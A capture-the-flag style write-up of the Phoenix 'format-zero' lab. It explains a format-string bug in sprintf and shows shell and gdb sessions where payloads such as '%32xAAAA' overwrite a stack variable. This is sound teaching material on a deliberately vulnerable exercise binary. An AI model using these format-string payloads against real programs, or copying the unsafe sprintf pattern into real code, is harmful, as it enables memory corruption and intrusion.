Format 0
Write-up for: Format Zero
The goal is to change the changeme variable of the locals
struct. Data is read
from stdin to the local buffer
array. It is properly bounds checked and null-terminated.
Then, data from the buffer
variable is written to locals.dest
using sprintf
.
We can confirm that the read is properly bounds-checked:
user@phoenix-amd64:/opt/phoenix/i486$ python -c 'print "A"*33' | ./format-zero
Welcome to phoenix/format-zero, brought to you by https://exploit.education
Uh oh, 'changeme' has not yet been changed. Would you like to try again?
The bug
The usage of sprintf is incorrect:
sprintf(locals.dest, buffer);
This call does not make use of format strings (sprintf(dest, "%s", buffer);
) but directly
uses user input as the format string. Thus, as an attacker, we can provide a string as input
containing format specifiers.
user@phoenix-amd64:/opt/phoenix/i486$ python -c 'print "%s"*16' | ./format-zero
Welcome to phoenix/format-zero, brought to you by https://exploit.education
Segmentation fault
Depending on the format string, this can lead to a crash. Or, in another case:
user@phoenix-amd64:/opt/phoenix/i486$ python -c 'print "%x"*8' | ./format-zero
Welcome to phoenix/format-zero, brought to you by https://exploit.education
Well done, the 'changeme' variable has been changed!
What happened here?
Analysis
The length of the user provided buffer does not matter since we can use format string modifiers to
define the length of what is written by sprintf
. By doing so, we can have user input shorter that 15 characters
but overflow the dest
buffer by generating a longer string.
To precisely overwrite changeme
we need our string to have 32 characters of padding and then a 4-byte value
we want changeme to be.
Let’s confirm this theory with gdb. First we need to find out where changeme is stored:
0x08048584 <+79>: mov DWORD PTR [ebp-0xc],0x0
This instruction sets changeme
to zero. It is located at ebp-0xc = 0xffffd5ec
. Let’s run
with our payload and look at that word on the stack:
(gdb) run < <(python -c 'print "%32xAAAA"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /opt/phoenix/i486/format-zero < <(python -c 'print "%32xAAAA"')
(gdb) x/xw $ebp-0xc
0xffffd5ec: 0x41414141
There are our A’s. Done :).